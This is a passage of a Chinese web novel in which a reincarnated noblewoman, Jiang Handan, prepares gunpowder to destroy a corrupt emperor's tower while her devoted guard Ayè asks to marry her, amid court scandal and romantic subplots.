“我救小姐,也用不着你谢。”许南风起身离开,临走之时,扔下一句,“还有,提醒你一下,小姐身份尊贵,她的名讳不是谁都叫的。” 阿夜站在原地,没有动。 菡萏……这个名字从他会说话起,就在叫了。 他会一直叫下去,直到再也说不了话的那一天。 * 姜菡萏只觉得阿夜和许南风两个人之间莫名有些不对付,每每提起对方,都要附赠一声冷哼。 不过她现在可没空管这两人的别扭,阿福的婚事提上了日程,别院里开始张灯结彩,灯笼贴上大红喜字。 许南风是最喜欢热闹的,跟着忙上忙下,没有片刻停歇。 阿夜则永远站在姜菡萏身后半步的位置,姜菡萏在哪里,他就在哪里。 他觉得这是世上最好的位置,这个位置是他永远的巢穴。 为免人多口杂,他一直戴着面甲,挡住下半张脸。 他的身形与气质本就极具压迫力,面甲一戴,越发像壁画上的修罗降临世间,为喜事而忙碌的人们走到他跟前都不敢大声喘气,更别提笑闹了。 正月廿三,阿福出嫁,姜菡萏以娘家人的身份去新郎家中观礼。 阿夜全程陪伴左右,寸步不离。 新人拜完天地,新娘被送入洞房。 在姜菡萏的心里,阿福就和她的亲姐姐一样,现在看着姐姐完婚,明明是该高兴的事,她的眼眶却有点发热。 阿夜低声问:“我能去把新郎杀了吗?” 姜菡萏:“!” 什么?! 阿夜注视着她:“他抢走了阿福,让你难过。把他杀了,把阿福抢回来,你就不会难过了。” “笨蛋阿夜。”姜菡萏吸了吸鼻子,“我这是在为阿福高兴。她成亲了,有自己的夫君,很快还会有自己的小孩,她会过得很幸福。” 绝不会像上一世那样。 阿夜望着新娘离开的方向,觉得无法理解:“她离开了你。” 离开了菡萏,怎么可能幸福? “她本来就该有自己的人生,怎么能一直围着我转?这世上啊,只有夫妻才能一直相伴。” “夫妻?” “对,就像这样,在所有人的见证和祝福下,拜过天地父母,成为夫妻。从此他们生同衾,死同穴,永远也不会再分开了。” “生同衾,死同穴?” 姜菡萏听出阿夜的声音好像有点轻轻的颤抖,心想他可能是不懂,遂解释:“意思就是说,活着的时候,睡同一个被窝,死了的时候,埋同一个坟墓。这就是夫妻。” 阿夜没有做声。 姜菡萏习惯了她无论说什么,阿夜都会接着往下聊,不由觉得奇怪,擦擦眼泪,回头看向阿夜。 面甲挡住了阿夜的表情,看不出端倪。 但阿夜的眸子亮得惊人,里面仿佛燃烧着 熊熊火焰,能压倒满堂的灯火。 第59章 第59章我缺一个提亲的媒人 阿福是姜菡萏身边几个大侍女之首,是所有人的大姐姐,她走了之后,底下的阿喜阿禄阿寿时不时便会手忙脚乱一番。 好在还有个许南珠,她渐渐成为姜菡萏身边的主心骨,安排差事,指挥若定,姜菡萏身边渐渐恢复正常。 苏妈妈动念想留许南珠在姜菡萏房中——公主也有陪读,一个边远武将家的女儿给小姐做伴,是抬举。 姜菡萏想也没想便否了。把许南珠留在屋子里做侍女?疯了吗?许南珠就是小顾晚章,不但能理家,还能挣钱。 而且姜菡萏天天忙得不着屋,整日泡在丹房。 火药配方又用小份量试了几次,十次之中有六七次成功,姜菡萏努力将之提升到七八次。 同时开始大量采购硫磺、硝石和木炭。 阿夜伤势渐愈,但庆州官府有李思政,澹园有严何之,只要没出什么大乱子,就用不着阿夜亲自出手,所以他一直没着急回去。 姜菡萏这边又正需要人手,也没着急让他走。 于是阿夜便以一个通缉犯之身,心安理得暂留了下来。 “硫磺二百斤,木炭一千斤,硝石五百斤……” 姜菡萏翻着今天的账目,往下看的时候愣住了,“聘书,礼书,迎书……这是什么?” 账是阿夜记的,阿夜把账本拿过来,罕见地避开了姜菡萏的视线:“……没什么,就……学点东西。” 姜菡萏想了想,明白了,这是婚娶之时三书六礼中的三书,阿夜上次参加完婚礼,定是觉得新鲜,起了好奇心。 真是个好学的少年。 她本来还想多问两句,许南风从外面带回来一个消息,姜蘅芷在山门前求见。 自从在这里建起别院,元宝山唯一的入口就一直有府兵严密把守,闲杂人等一律不得入内。 “不见。”姜菡萏放下账本,准备先去点收硫磺,木炭和硝石还好,入库的硫磺越来越少,很难买到,她准备派人去更远一点的地方求购。 许南风迟疑一下:“她跪到山道前,说见不到小姐就不走……” “让她跪,跪累了自然会走。” 许南风领命而去。 * 早春天气,山中还十分寒冷,姜蘅芷跪在寒风间,守山门的府兵们都有些于心不忍,毕竟那是自家庶小姐。 而且姜蘅芷还拿出身上的珠宝首饰送给他们,只为换取和姜菡萏一见的机会,她含泪道:“我与菡萏到底是姐妹,她再恼我也是一时的,诸位若肯行个方便,我还有重谢。” 贤王妃的首饰自然很贵重,金玉的光芒在渐渐暗下去的天光里熠熠生辉。 府兵们眼睛发直,有人忍不住,缓缓伸出手。 “不要命了!”另一名兄弟把他的手拍回去,“敢违逆小姐,那位可是在山谷里。” 那人想起“那位”,浑身哆嗦一下,没敢再起贪念。 姜蘅芷无奈地收回首饰,重新跪在寒风中。 她跪了整整一夜。 山里除了仿佛和岩石化为一体的府兵,没有别的一点活物。 她带来的随从说道:“没想到姜家嫡女如此铁石心肠,置自己的姐妹于不顾。娘娘,再跪下去亦是无用,我们走吧。” 姜蘅芷被扶上马车,双腿早已失去知觉。 姜菡萏……她攥紧了拳头,眼中满是屈辱。 我这样跪在你面前,你都不屑一顾吗? * 姜菡萏清晨睡醒,不出意外地听到姜蘅芷已经离开的消息。 她一点儿也不关心姜蘅芷到底想干什么,倒是对姜蘅芷居然肯跪一个晚上有点好奇。 不过也仅仅是好奇而已,现在着实没这个空闲。 就在姜蘅芷离开的当天,元宝山又迎来了新的客人,这一次府兵问也没问就放行了,因为来的是家主大人。 与姜祯一道来的还有风明、丽阳,以及仿佛变成了丽阳尾巴的鹿长鸣。 风明每次来都很兴奋,这次也不例外,十三岁的少年正是上蹿下跳的时候,在宫里被拘得紧了,来到别院就像是变成了一只猴子,抓着许南风,要许南风带他去玩。 丽阳和风明一样难得出这样的远门,虽有些疲惫,却也难掩好奇之色,披着斗篷,四下打量。 姜菡萏看着哥哥,用眼神表示——怎么带这么多人? 姜祯苦着脸,让风明多和菡萏亲近是太皇太后的意思,丽阳则纯属是跟上来的狗皮膏药,鹿长鸣更离谱,说是来公干的。 丽阳看了一圈,撇撇嘴:“又小又挤,花木也没有两棵,西山的别院不比这里强多了?为何非要缩在这种地方?” 姜菡萏只是微微一笑:“山野之地,自然难入公主的眼,公主可以下榻在梁州府衙。” 丽阳道:“难道我是来游山玩水吗?图什么舒服?我来做什么的你又不是不知道。” “……” 姜菡萏知道,姜祯更知道。 历代风家公主为了嫁进姜家都会不择手段,丽阳的心眼子不多,手段也不多,所以她的方式是单刀直入——我不管反正我得嫁给你,你去哪儿我去哪儿。 丽阳和姜菡萏同年,今年十八岁了。 女子十五及笈论婚嫁,这个年纪已经不算小。 姜祯今年就要行冠礼,迎娶家主夫人之事,马上就要提上日程。 姜祯对丽阳避之不及,但丽阳到底是个姑娘家,又是他亲眼看着长大的,家主大人向来怜香惜玉,对姑娘家很难硬起心肠,哪知逃到别院还是甩不掉,不由愁眉苦脸。 几人来得突然,梁州别院又不像西山别院那般屋舍众多,一时间苏妈妈都发愁怎么住,毕竟来的人都是顶顶尊贵的身份,绝不可怠慢。 好在有许南珠,不用苏妈妈操一点心,这几人便已安置妥当。 在收到消息的第一时间,姜菡萏便让阿夜去了府兵号舍,再让府兵们这几天暂停训练,府兵号舍与别院之间隔着一堵墙,只要把门关上,丽阳便瞧不出什么名堂。 这几人都是身娇肉贵,奔波一日,吃过晚饭,便早早回房歇息。 姜菡萏订的一批陶罐送到了,她挑灯验收,忽然听得后院传来一声惊叫。 似乎是她哥。 后院厢房中,姜祯抱着被子,人已经贴到床角:“干、干什么?” 丽阳长发披散,穿一袭白色寝衣,没有提灯,手里捧着一颗淡绿色的明珠,散发着幽幽的暗绿光芒,投映在她脸上。 丽阳脸上没什么表情:“……爬床。” 姜祯寒毛倒竖:“鬼啊!!” “家主大人?”许南珠才和顾晚章对过账回来,正巧经过,听到响动,在门边叩了叩门,“有事——” “啊啊啊啊!”门从里面打开,姜祯从里猛扑而出,结结实实抱着许南珠,“里面有鬼啊!!!” 许南珠平时跟弟弟在一起待惯了,又看惯了五大三粗的府兵们,一直觉得姜祯生得单薄,个子也不高,此时被抱了个正着,她才发现姜祯其实比她还高半个头,而且肩臂宽而有力,其实并非弱柳扶风的公子哥儿。 力气还不小,这一抱,撞得许南珠连退了两步。 但姜祯一无所觉,抱着许南珠,就像抱着溺水之人抱着最后一块浮木:“救命啊!里面有女鬼啊!” 许南珠声音温和:“家主大人,里面只有丽阳公主,没有女鬼。” 姜祯乍着胆子往里瞧了瞧,白衣披发的女子站在床边,脸上木然,泛着绿光。 鬼啊!!!! “家主大人,别怕,鬼是没有影子的,可是请看,公主有影子。” 姜祯心里明白,委实是视觉冲击太大,有点受不了。 他小心地瞥向丽阳脚下,那团阴影的存在让他松了一口气,惊恐退去,愤怒爆发:“丽阳,别以为我真不敢拿你怎么样,你再这样试试,我马上让人送你回宫!” 丽阳幽幽道:“你以为我愿意吗?我身不由己,你反正没有喜欢的人,何不索性娶了我?我保证绝不拈酸吃醋,你爱娶几房娶几房,爱去哪家乐坊就 去哪家乐坊,不管是去找清晓还是浊晓,我都没有半句话说,行不行?” “不行!”姜祯断然道,“谁说我没有喜欢的人,我——”眼角余光扫过许南珠,他揽住许南珠的肩,往怀里一带,“我对阿珠心仪已久,不然你想想我为什么放着繁华京城不待,老往这里跑!” 丽阳幽幽的视线望向许南珠。 姜祯也低头看着许南珠,不停使眼色。 许南珠轻轻叹了一口气,手轻轻抚上姜祯面颊:“家主大人,你不是说了,你我身份悬殊,此事若为外人所知,恐怕会有人对我不利吗?怎么这会儿却告诉了他人?” 她从寒风中走来,指尖冰凉,姜祯颤栗了一下,忽然发现她的眸子里满是温柔之色,像春水一样让人沉醉其中。 她一手提着灯笼,淡淡的昏黄光芒给她清冷的面庞镀上一层暖意,这样的许南珠看上去和白天全然不同,像是换了一个人。 需要花点力气,姜祯才能把话接下去:“说……说出去也无妨,反正姜家的家主夫人只会是你,不会有别人。” 丽阳沉默地看着,忽然道:“为什么你们姜家人都可以得到自己喜欢的人?” 姜祯还没有回答,丽阳已经走出房门,准备离去。 “殿下,”许南珠搁下灯笼,解下自己的斗篷,为丽阳披上,“小心着凉。” 厚实的斗篷还带着温暖的体温,隔绝寒风,丽阳冻得已经失去知觉的身体像是浸入热水中,开始微微发麻。 丽阳看着许南珠。 这是她的对手,可这对手是如此斯文有礼,温柔善良,贤惠能干,还有月光般清冷的美貌。 “为什么……”丽阳喃喃,泪水涌出来,“为什么你们都可以和自己喜欢的人在一起?!为什么你们都可以?!” 她崩溃地跑出去。 许南珠抬手想叫住她,公主……跑错了方向,公主的厢房应该往右边走,往那边就是外书房了。 但还未等她开口,便看见不远处的游廊上,有一道身影向着丽阳离开的方向追了出去。 似乎是那位少府监鹿大人。 许南珠便拾起灯笼,准备离开,然后就见姜祯仍杵在她面前,身上还是穿着单薄的寝衣。 “家主大人,可惜我已经没有多余的斗篷了,你也要小心着凉。” 姜祯眼睛有点发直,鬼使神差地道:“咳,但你……不是还有手笼吗?” “……”许南珠把自己的手笼递过去,微微福身行礼,离开。 “等等。”姜祯在后叫住许南珠,许南珠回头。 灯笼在风中微微摇曳,她的衣袖袍角轻轻扬起,头上的流苏也在微微晃动。 眉如远山,眸似春水,这一刻的许南珠看起来像是才从画上走下来的仕女。 姜祯一时间忘了自己要说什么。 他望着这边出神太久了,许南珠不得不出声提醒:“家主大人?” “嗯?哦。”姜祯如梦初醒,“我是说,刚才那些话,我是哄丽阳的,她太难缠太烦人了,你……你别当真。冒犯之处,还请海涵。” 许南珠微微一笑:“我曾听说,皇宫的宫女属于皇帝,姜家的使女也属于家主大人,家主大人可以随意临幸呢。” 她笑起来淡淡的红唇微抿,姜祯又呆了一会儿,才道:“你听谁瞎说的?我可是连个通房都没有!” 许南珠微笑:“是,家主大人洁身自好,南珠看得清楚明白。方才之事也不算冒犯,能帮上家主大人,是南珠之幸。” “那、那便好。” 许南珠回首,提灯去了。 直到那盏灯笼的光芒消失在转角处,再也看不见,姜祯才收回视线。 然后就在寒风中打了个惊天动地的喷嚏。 一看手里还捏着人家的手笼,追上去还给人家吧,人家早没影了。 “莫名其妙……”姜祯嘀咕着,身体却像有自己的意识,把那手笼凑近。 内衬是兔绒,外面是细棉布,他从未见过这样素净的手笼。 连香气也是素净的,不是香饼香袋的香,没有任何香料的气味,只有一点幽微清雅的气息,像是沾了水仙的花香,又混着一丝墨香。 待发现自己在做什么,姜祯猛然回神,手一松。 好在这两年习箭刻苦,身体反应大有长进,在手笼落地之前,又被他抄了起来。 * 顾晚章收起账册,提起灯笼,关上书房房门。 一直以来硫磺多作药用,用量有限,纵使把市面上的硫磺都买空,依然满足不了姜菡萏的需求。 但他亲眼见识到那场爆炸的威力,有这样的利器在手,何愁天下不得? 这是眼下的重中之重…… 他一面往厢房走,一面沉吟思索,天黑夜寒,不提防路上还有会有人,所以等到人影突然从拐角奔出来的时候,闪避已经来不及了,他连人带灯笼被撞倒在地。 里面的油灯倾倒,纸灯笼立刻燃烧起来,顾晚章先处理好灯笼,以免引发火灾,然后才看向撞倒他的人。 灯笼灭了,只剩天上一点淡淡的星光,不足以照亮这片屋檐下,那人手里本来抓着一颗淡绿色的明珠,见他望过来,猛地把珠子塞进衣裳底下。 顾晚章开始以为是下人当中有人手脚不干脆,但他的眼力太好,记性也太好,只那么一瞬,就认出了地上的人:“公主?” 趴在地上的丽阳恨不能现扒出一道地缝,把自己埋了。 在最狼狈的时候,偏偏遇到最想见的人。 “公主为何在此?” 丽阳没有说话,原本的哭泣变成哽咽,一时停不下来。 顾晚章对这位公主的印象,似乎就是她总是会莫名其妙出现在他面前,对他说些莫名其妙的话。 环顾四周,公主身边一个人也没带,他自然不便久留:“公主稍候,我去找人过来。” 他抬脚就要离开,却又顿住——低头一看,地上的丽阳伸出一只手,抓住了他的衣摆。 “你是不是早就知道?”黑暗中丽阳抬起被泪水打湿的面孔,声音颤抖,“你是不是早就知道我的宿命,所以从一开始就没有理会过我?” 顾晚章:“……在下不知道公主在说什么。” “我本来以为我是公主,是金枝玉叶,想要什么就可以有什么。可现在我才知道,我只是一枚棋子,他们想把我摆在哪里,我就得被摆在哪里。他们要我成为姜家的家主夫人,我就必须去当家主夫人,他们说,这是我身为公主的责任,我受万民供养,受皇家恩宠,我必须护佑百姓,报答皇恩……” “可是……为什么护佑百姓要我嫁给一个我根本不喜欢的男人……” “为什么报答皇恩,我就必须不顾礼义廉耻?” “顾晚章,你是状元郎,你懂得那么多,你告诉我,这是为什么!” 丽阳说到最后,声音里带着凄厉的哭腔。 “殿下,若是您找不到自己报答皇恩的方式,那么就只有听从别人安排给你的方式。” 顾晚章俯下身,手伸到丽阳面前,“但若是你能找到自己的方式,就不用听从别人的安排了。” 这是顾晚章第一次如此温和地跟丽阳说话,丽阳情不自禁握住他手。 他的手很有力,把她从地上拉起来,然后松开手:“这个问题在下无法回答,公主只能自己去寻找。” 丽阳低下头,没有说话。 顾晚章道:“公主的夜明珠可否拿出来照明?在下送公主回房。” 丽阳掏出夜明珠,放进顾晚章的掌心。 她用的是另一只手。 方才被他握过的那只手,一直静静放在斗篷里。 全身的血液仿佛都向掌心那点肌肤涌去,刹那之间,将这片刻的触感化为永恒。 * 那团淡绿色的光芒渐渐远去。 藏身在柱子后面的鹿长鸣缓缓显身,无声地长叹了一口气。 “为什么躲在这里?” 有声音突兀地响起,鹿长鸣吓了一跳,猛然回身,看见一道人影从黑暗中走出来。 黑衣,黑眸,黑发,他全身都与黑暗融为 一体,只是几步的距离,鹿长鸣却仿佛看见一头黑豹缓缓走来,脚步矫捷而轻盈,没有发出一丝声音。 一年多未见,鹿长鸣早对阿夜的成长有心理准备,可当阿夜走到他面前,他高高仰起的脖颈还是快断了,喃喃道:“夜哥,你吃什么长这样的?” “什么都吃。”阿夜很好脾气地回答了他的问题,“你躲在这里,很难找。” “我、我绝对没有跟踪公主!”鹿长鸣立刻道,“我就是顺路!我本来是要去找小姐的,无意中看见公主悄悄出门,所以才——” 阿夜对这些完全不感兴趣,但鹿长鸣提到了菡萏:“这么晚,你找菡萏做什么?” 以前的阿夜生气时就很吓人,现在鹿长鸣只觉得,阿夜还没有生气,只是声调稍稍压低了一点,他就有点喘不过气来,这家伙怎么这么重的杀气,这是杀了多少人?! 他下意识后退了一点,但是可惜,并没有多少退路,背脊很快贴上墙壁,而阿夜还在迫近,眸子在黑暗中闪动着冰冷光泽。 “我、我我是去传话的!宫里的大监让我给小姐传话,除了小姐之外绝不能让第二个人知晓,所以我才在晚上去找小姐!” 鹿长鸣一口气把话喊完,阿夜没有再逼近了。 呼,鹿长鸣终于找回了自己的呼吸。 既然有正事找菡萏,阿夜也不准备多耽搁,直接道:“我有事情要请你帮忙。” “哎?”鹿长鸣顿时受宠若惊,“我能帮什么忙?” “认识我,又认识菡萏,还当了官,又不是娘家人……我想来想去,只有你了。”阿夜道,“而且你会弹琵琶,可以在婚礼上助兴。” 鹿长鸣很想掏掏耳朵,因为他发现自诩八面玲珑的自己忽然有点听不懂人话:“……婚礼?什么婚礼?谁的婚礼?” 阿夜道:“我的。” 鹿长鸣吓了一大跳:“你要成婚了?!哪个姑娘这么大胆子敢嫁给你?!——呃,不是,我是说哪个姑娘这么大福气被你看上了?” “当然是这世上最好的姑娘。” 阿夜在星光下露出一个笑容,这个笑容明净清澈,这一刻他才像一个十八岁的少年。 鹿长鸣也忍不住笑了,放松下来之后只觉站得腿酸,就在游廊上坐下:“那恭喜你啊。” 阿夜第一次听到恭喜,心里有一种酥酥麻麻的暖意,他很少体会到这样的开心,从怀里掏出一叠银票,塞到鹿长鸣手里。 天太黑,鹿长鸣看不清面额,但摸着这厚度,咋舌:“怎地?要我帮忙操办婚礼?” “不,婚礼我会操办。”阿夜道,“这是谢媒钱,我缺一个提亲的媒人。” 媒人要认识男女双方,且还要有身份地位,最好能言善道,长袖善舞,这样才能说成一桩婚事。 这些都是阿夜刻苦学习得来的学识。 “单是做个媒,就给这么多?”鹿长鸣喜滋滋,“行,说吧,是哪家姑娘?哪怕是天上的玄女,我鹿长鸣也给你说下来。” 阿夜脸上露出一个大大的笑容,快乐如清泉一样在心里汩汩往外冒,止也止不住:“菡萏。” 第60章 第60章你愿意和我做夫妻吗? “咚”,鹿长鸣一头栽进游廊下的草木丛中,片刻后手忙脚乱爬起来:“谁?!” “菡萏。”阿夜重复了一遍,念到这个名字,他的声音都温柔了。 “我的天爷啊!”鹿长鸣连忙把银票还回去,“姜家嫡女,你要娶姜家嫡女……那怎么可能?天王老子来了也说不了这个媒!” 阿夜:“为什么?” “太\祖遗训,皇后必为姜家嫡女,小姐只会嫁给皇帝,不会嫁给任何人,哪怕再喜欢你都不成。” “皇帝?”阿夜想了想,问道,“我要怎样才能当上皇帝?” “祖宗,这话可不能浑说!”鹿长鸣恨不能捂住阿夜的嘴,下意识左右看了看,“幸好这是荒郊野岭,若是在京城,羽林卫早将你拿下了。你身上没有流皇家的血,你就当不了皇帝,快别想了,回去洗洗睡吧,昂。” 阿夜陷入深思,黑暗中,眸子微微闪动着一点寒光。 鹿长鸣深深叹了口气:“夜哥,我知道你不服,可世上有些东西,生来没有,一世便没有。你看我,堂堂少府监,也算三品下,高官厚禄,圣眷正隆,不知道有多少人跪在我面前拍马屁,可是有什么用?公主只会嫁给姜家家主……” 他自己说到这里猛然顿住,一不小心,泄漏了从来不敢在他人面前提起的隐秘心事。 好在阿夜根本不关心别人的事,兀自在出神。 “你好好想想,有些念头,该打住的时候就趁早打住,什么也不提,反而能一直留在她身边。” 鹿长鸣说着,先行离开,去找姜菡萏。 姜菡萏还在丹房,直接让鹿长鸣进来。 她当时之所以让鹿长鸣入宫,一是因为鹿长鸣琵琶弹得好,容易讨承德帝欢心,二便是因为冯秀亭曾经见过鹿长鸣,有事可以直接找鹿长鸣。 鹿长鸣入宫这么久,冯秀亭终于找到了他。 “小姐,宫里出大事了!”鹿长鸣压低声音道,“安贵妃与虞国师偷情,被陛下抓了个正着!” 姜菡萏猜到能让冯秀亭找上鹿长鸣的事,绝非等闲,可万万没想到,居然这么厉害。 “说,详细说。”姜菡萏道。 鹿长鸣努力回忆冯秀亭交待的一切。 自从风日曜大婚之后,承德帝被酒色掏空的身子就日益衰败,连虞仙芝的仙极紫金丹都不管用了。 承德帝目红面赤,夜不能寐,日渐暴躁,寝殿中时常有宫人的尸体被抬出去。 这是丹毒。承德帝服用的金丹太多,毒素沉积在体内,药石罔效,太医们束手无策,只好去请虞仙芝。 虞仙芝提议,请仙人降世,为承德帝赐福延寿。 承德帝大喜,问道:“不知仙人要如何才肯下降?” 虞仙芝让承德帝在宫中修建降仙台,到时虞仙芝登台作法,请仙人赐下仙丹,可葆承德帝仙寿永昌,福泽延绵。 承德帝闻言大喜。 宫中已经有好几年没有大兴土木了,非是承德帝学会了节俭,而是国库与内库都掏不出足够的银两,每每承德帝想建个宫殿,朝臣们全都跪下了——这可不是围个猎、请个客,一旦动工,工匠、使役、木料……银子那是得流水一样花出去。 承德帝被拒绝了数次的怨念与求生欲一起爆发,这次是谁劝都没有用,他一定要修建降仙台,并且就建在他的寝宫旁,以便仙人的福泽一旦下降,他就能第一时间得到赐福。 为表诚意,降仙台的图纸在工部改了又改,最终交上去的稿子终于让承德帝满意,那是一座高耸入云的七宝楼台,基柱选用十数人合抱的大树,从南山的深山一直运抵京城,沿路动用劳工无数。每一层的围栏和藻井都包以金片、嵌以宝石、填以香料,整座降仙台美轮美奂,不可方物。 承德帝只要能下床,便一定要坐着御舆去瞧一瞧降仙台,幻想着仙人自天而降,落在塔尖,而他百病全消,又能纵情欢乐,是何等的快活。 上一世就是这样,为了修建降仙台而横征暴敛,加之之前迦南叛乱,边关战事持续,百姓早已入不敷出,降仙台还没有建好,州府就反了好几个,汤博望就是在这段时间里迅速壮大,最终杀进京城。 这一世迦南未反, 各地州府的百姓尚在苦苦支撑,汤博望销声匿迹,承德帝除了往来于寝宫和降仙台之间,别无半点挂心。 但是在三月二十七这日,也就是大前天,承德帝看完降仙台,忽然心血来潮,想去看看安贵妃。 身上的丹毒让承德帝被动戒了女色,他已经许久不曾踏入后宫。 可能正是因为如此,所以向来谨慎的虞仙芝放松了警惕,因为主持修建降仙台,他长住宫中,有的是机会和安贵妃亲近。 太皇太后年事已高,太后小家子气太足,不会御下,安贵妃一直是后宫实际上的女主人,她身边全是信得过的耳目,这件事情没有透出半点风声。 直到那一日承德忽然来到安贵妃的寝宫,宫人们还来不及通报,就被冯秀亭让人控制住了,理由还用得非常缠绵:“老奴听闻,自从陛下圣体抱恙,贵妃娘娘日夜独自在佛前祷告,愿以自身寿元换陛下圣体康复,便是铁石人听了也感动不已啊。陛下亲自去看娘娘,对娘娘来说便是天大的惊喜,可莫要让这些不懂事的奴才走漏了消息。” 承德帝自然允准,于是悄无声息,长驱直入,来到寝殿。 目之所及,没有佛前的苦苦祷告,只有高床软枕之上的颠龙倒凤。 待看清了床上的两个人是谁,承德帝眼睛发直。 一个是他最宠爱的妃子,一个是他最信任的臣子。 承德帝被气得口吐鲜血,当场就要拔剑杀了这对奸夫淫/妇。 但虞仙芝处变不惊,声称自己是代仙人行事,安贵妃也是为了陛下的病,才愿意如此取悦仙人。 只有仙人大悦,到时才会下降。 虞仙芝最知道承德帝要的是什么,手里永远掐着承德帝的软肋。 承德帝果然迟疑了,改斩首为监禁,若是到了吉日无法请下仙人,就将两人就地处死。 冯秀亭适时地提醒,其实还有一人。 安贵妃之所以能嫁进王府,就是因为虞仙芝说她身带仙缘,能助当时的承德帝长蛟化龙,成为天下至尊。 安贵妃嫁进王府便怀有身孕,一日不慎摔倒,风曜出世。 按时间算,风曜尚未足月,可是稳婆抱出来的孩子胎脂尽退,全貌朗然。但当时产房中异香满室,人人都认为这是大吉之兆。后来人们说起三皇子,总会提到他出生时的种种非凡,一看就是天神降生,泽被万民。 可现在,安贵妃与虞仙芝既然不清白,风曜的出身又岂能干净? 于是,风曜自寝榻上被羽林卫拉起,一并投入大牢。 姜蘅芷惊慌失措,怎么打听都打听不出缘故,她只能病急乱投医,来梁州求姜菡萏。 姜菡萏此时才恍然大悟,姜蘅芷为什么愿意在寒风中跪上一夜。 姜蘅芷与其说是求她,不如说是试探她,如果这件事和她有关系,她一定会见一见姜蘅芷,探听探听宫中此时是个什么情形。 鹿长鸣虽是传话,但绘声绘色,仿佛是亲眼所见,说完,道:“冯大监说,虞仙芝惯会装神弄鬼,而陛下病重,万一被奸人迷惑,到时该当如何是好?不知小姐可有什么妙策?” 经此一事,冯秀亭已经和虞仙芝、安贵妃、风曜三人彻底撕破了脸。 如果虞仙芝真能请得仙人下降,一定会重回国师之位,到时只怕荣宠更上一层楼,而冯秀亭到时只有死路一条。 冯秀亭老谋深算,皇帝突然发现虞仙芝和安贵妃的奸情,看似偶然,实际上一定经过冯秀亭的多方布局,这才一击命中七寸。 可是承德帝没有一怒之下砍掉两人的脑袋,冯秀亭的局就失败了一半。 姜菡萏手里还抓着药杵,让鹿长鸣先回去,自己陷入深思。 丹房的门打开,又关上,身边多了一道人影。 是阿夜。 他先试了试茶壶里的水温,给姜菡萏拿了一杯,然后把鹿长鸣用的那只杯子扔了。 “……”姜菡萏看到他的举动,但顾不上说他,她的眉头皱得死紧,脑浆都快沸腾了。 阿夜半跪在她面前,把茶杯放在她的手中,看着她紧皱的眉头:“菡萏遇上麻烦事了吗?” “麻烦,非常麻烦。”姜菡萏拿起茶杯,一口气喝干,杯子重重搁在桌上,“我要去炸了降仙台。” 从上一世的经历来看,降仙台就是压垮大央的最后一根稻草,若是没了降仙台,也许还能保住大央的根基。 她曾经试图让太皇太后阻挠,承德帝不听。 她试图让姜家阻挠,承德帝不听。 她试图动用两年来积攒下来的不记名官凭势力联合太学生跪谏,承德帝还是不听。 终于,她在除夕夜找到了办法,可以彻底毁掉降仙台。 那就是用她的火药! 只要炸了降仙台,不但能救大央,还能要虞仙芝的命! 可是,降仙台旁边就是承德帝的寝殿,那是天底下防守严密的地方。 而且,为了方便承德帝寻乐,海棠园、斗兽场、豹房……等等地方都环绕着寝殿而建,每一处都有大量的羽林卫,防卫得密不透风。 降仙台本身更是重中之重,除了有羽林卫巡防,还有虞仙芝的山卫值守,昼夜不歇。 别说是偷放火药,就算是偷放一只苍蝇也会被人发现。 寒鸦甚至亲自潜进宫中试过,不单没有成功,反而引起山卫注意,第二天会值守的人数翻了三倍。 “我可以。”阿夜开口。 姜菡萏叹气:“若是硬攻,我也相信你可以。” 可这种偷偷潜入,连寒鸦都失败了,阿夜甚至连暗卫都不是,怎么可能做到? “我可以。”阿夜再次道。 姜菡萏眨了眨眼睛,看出他的坚持与认真:“那好,你说说看,打算怎么做?” “我不能说。” 阿夜说完,嘴便抿得紧紧的,姜菡萏心里面像是有蝴蝶的翅膀轻轻扇过,焦灼暂时远离了,看得出来他在很努力地想保有这个秘密。 “好吧。”姜菡萏道,“那我不问。” 阿夜道:“但我有一个问题想问你。” “嗯,你说。” 阿夜依然保持着半跪的姿势,仰望着姜菡萏,灯火昏黄温暖,给姜菡萏的脸颊镀上一层金边,让她看起来像玉座上的神明。 他轻声问道:“如果我可以毁掉降仙台,你愿意和我做夫妻吗?”【你现在阅读的是 】 60-70 第61章 第61章除了皇帝,我谁也不会嫁…… 嗯? 姜菡萏的大半思绪还在降仙台上,闻言以为自己听岔了。 待反应过来,她不由失笑:“阿夜,你近来就是忙这些呀?” 阿夜注视着她,不想漏过她每一分表情。她是笑着的,不是冷笑也不是假笑,笑意是直接洇进眼睛里的。 那么,她应该是高兴的。 他心中的紧张稍稍缓解,回答:“是。” 姜菡萏笑意更深了,她明白那些记在账本上的“聘书、礼书、迎书”是怎么回事了。 “阿夜看见阿福成亲了,所以也想成亲吗?” 阿夜仰望着她,神情虔诚:“是。” “好吧,那你喜欢什么样的姑娘?” 作为主人,她总要为自己的心腹手下打算——就像为阿福安排婚事一样。 这是一件很自然的事。 可是心中莫名有些紧/窒,她打开窗子,初春的冷风透进来,呼吸终于顺畅了一些。 阿夜想也不想地回答:“当然是你这样的。” 他的目光太明亮,也太直接,姜菡萏的心“砰”地跳了一下,她移开视线,不去面对阿夜这双眼睛:“我不行,我身子不大好,你应该找一个健康温柔的妻子,像阿福那样的。” 即便是重生以后努力锻炼,胎里带来的体弱依然如影随行。她只是比上一世好了些,不至于吹一场风就着凉。但若是生病,照样要花比常人更长的时间才能痊愈。 大夫早就说过,她这样的身体不利于生养。 这对姜家嫡女来说不算什么事。毕竟她要嫁的人拥有三宫六院,会有数不清的女人生孩子,而她只需要挑选最信得过的养在膝下就行。 阿夜紧紧盯着她的眼睛:“不,我只要你。” “傻阿夜,这是不行的。”姜菡萏终于意识到他想要的不是“成亲”,而是“跟她成亲”,她严肃起来,“我不可能成为你的妻子。” “为什么?”阿夜低声问,“鹿长鸣说,你只能嫁给皇帝……因为我不是皇帝,所以不能嫁给我?” “对。”姜菡萏道,“除了皇帝,我谁也不会嫁。” 高贵苍白的姜家嫡女脸上经常没有表情,眼睛也常常因为出神而显得空洞茫然,就在方才,她的视线还有几分闪避,但是此刻,她的眸子里清晰地映出阿夜的脸,她无比认真地道:“你可以和世上任何一个姑娘做夫妻,但除了我。” 阿夜的脸色有点发白,慢慢地低下头。 他太了解菡萏了,菡萏比什么时候都认真,这种时候说的话,像金科玉律一样难以改变。 丹房一片寂寞,只有长风吹过,桌上的纸张翻动,哗哗作响。 那么强悍的阿夜,此时脆弱得像是随时会倒下,姜菡萏刻意忍住了没开口安慰,也没有另换别的话题。 他还这么年轻,才十八岁……不,他作为人只活了三年。看似矫捷凶猛,其实有时候还像个小孩子。 小孩子会很自然地喜欢上身边最亲近的人,就像很多男孩子在幼时都想娶自己的母亲当新娘。 